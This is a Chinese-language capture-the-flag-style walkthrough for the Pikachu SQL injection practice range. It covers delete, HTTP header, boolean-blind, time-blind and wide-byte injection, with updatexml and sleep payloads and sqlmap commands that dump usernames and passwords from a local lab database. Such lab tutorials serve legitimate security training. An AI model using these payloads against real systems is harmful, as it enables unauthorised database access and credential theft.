pikachu靶场（sql注入通关教程-下）

"delete注入"

1.打开网站，输入留言，然后打开抓包软件，点击删除

2.右键发送到repeater

修改id值，send

71 or updatexml (1,concat(0x7e,database()),0)

进行url编码

3.爆数据库名

4. 爆表名

71+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="pikachu")),0) 

显示不全，可以用substr函数截取，也可以用limit函数

71+or+updatexml(1,substr(concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema="pikachu")),2,63),0)

5.爆列名

71+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema+%3d+'pikachu'and+table_name%3d'users')),1)

 6.爆数据

71+and+updatexml(1,concat(0x7e,(select+group_concat(username)+from+users)),1)

7.用同样的方法可以查出密码 

 "http header"注入

1.打开网站

点击提示查看账号密码进行登陆，抓包，放一次

右键发送到repeater

可以看到，ua和http accept都被记录了

删除UA头，换成单引号（accept也可以）

send

 发现报错，存在注入。

2.爆数据库名

修改为注入语句

'or updatexml(1,concat(0x7e,(select database())),0) or '

3.爆列名

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'pikachu'and table_name='users')),1)or'

4.后续步骤与上述步骤一致，这里不在赘述。

盲注 (base on boolian)

1.打开网站，输入1

可以看到1被放到url中了

2.点击提示，使用admin

使用admin'

输入admin'# 

页面正常。

3.查看数据库名长度 

admin' and length(database())>=5#

admin' and length(database())>=6#

admin' and length(database())>=7#

admin' and length(database())>=8#

说明数据库名字长7位。

3.爆数据库名

直接用sqlmap

sqlmap -u "http://127.0.0.1:8086/pikachu-master/vul/sqli/sqli_blind_b.php?name=admin*&submit=%E6%9F%A5%E8%AF%A2#" --current-db

如果用的kali的sqlmap，则127.0.0.1要换成自己的ip。 

 4.爆表名

sqlmap -u "http://172.24.143.14:8086/pikachu-master/vul/sqli/sqli_blind_b.php?name=admin*&submit=%E6%9F%A5%E8%AF%A2#" -D pikachu --tables

5.爆列名

sqlmap -u "http://172.24.143.14:8086/pikachu-master/vul/sqli/sqli_blind_b.php?name=admin*&submit=%E6%9F%A5%E8%AF%A2#" -D pikachu -T users --columns

6.爆数据

sqlmap -u "http://172.24.143.14:8086/pikachu-master/vul/sqli/sqli_blind_b.php?name=admin*&submit=%E6%9F%A5%E8%AF%A2#" -D pikachu -T users -C username,password --dump

盲注（base on time）

1.打开网站

输入什么都发现页面毫无变化，所以采用时间盲注

admin' and sleep(if(database()='pikachu',5,0))#

（当然开始我们是不知道数据库名的，所以要截取每次的字符串，这里不再赘述。）

页面 五秒后显示说明数据库名是pikachu

后面可以用sqlmap,类似于布尔盲注。

宽字节注入

1.打开网站，提交数据，抓包

kobe%df' 1=1 #

2.看显示位

在测试时发不能用order by判断列数，直接进行下一步

kobe%df' union select 1,2 #

3.查看数据库名 

kobe%df' union select 1,database()#

4.后续操作与字符型注入类似。